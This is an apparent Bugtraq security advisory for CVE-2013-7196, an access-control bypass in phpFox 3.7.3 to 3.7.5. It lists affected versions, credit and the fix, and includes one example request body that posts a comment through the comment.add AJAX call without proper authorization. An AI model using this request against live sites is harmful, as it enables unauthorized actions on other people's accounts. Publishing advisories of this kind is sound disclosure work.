PHPFox CVE-2013-7196 Access Control Security Bypass Vulnerability

Bugtraq ID:	66677
Class:	Access Validation Error
CVE:	CVE-2013-7196
Remote:	Yes
Local:	No
Published:	Apr 05 2014 12:00AM
Updated:	Apr 05 2014 12:00AM
Credit:	Wesley Henrique
Vulnerable:	phpFox phpFox 3.7.5 phpFox phpFox 3.7.4 phpFox phpFox 3.7.3
Not Vulnerable:	phpFox phpFox 3.7.6

PHPFox CVE-2013-7196 Access Control Security Bypass Vulnerability

PHPFox is prone to a security-bypass vulnerability that may allow attackers to perform actions without proper authorization.

Attackers can leverage this issue to bypass security restrictions and perform unauthorized actions; this may aid in launching further attacks.

PHPFox 3.7.3, 3.7.4 and 3.7.5 are vulnerable

PHPFox CVE-2013-7196 Access Control Security Bypass Vulnerability

An attacker can use web browser to exploit this issue.

The following example data is available:

&core[ajax]=true&core[call]=comment.add&core[security_token]=686f82ec43f7dcd92784ab36ab5cbfb7
&val[type]=user_status&val[item_id]=27&val[parent_id]=0&val[is_via_feed]=0 val[default_feed_value]=Write%20a%20comment...&val[text]=AQUI!!!!!!!!!!!& core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=290

PHPFox CVE-2013-7196 Access Control Security Bypass Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

PHPFox CVE-2013-7196 Access Control Security Bypass Vulnerability

References:

• PHPFox Homepage (PHPFox)
  
• Vulnerability in PHPFox v3.7.3, v3.7.4 and v3.7.5 (seclists.org)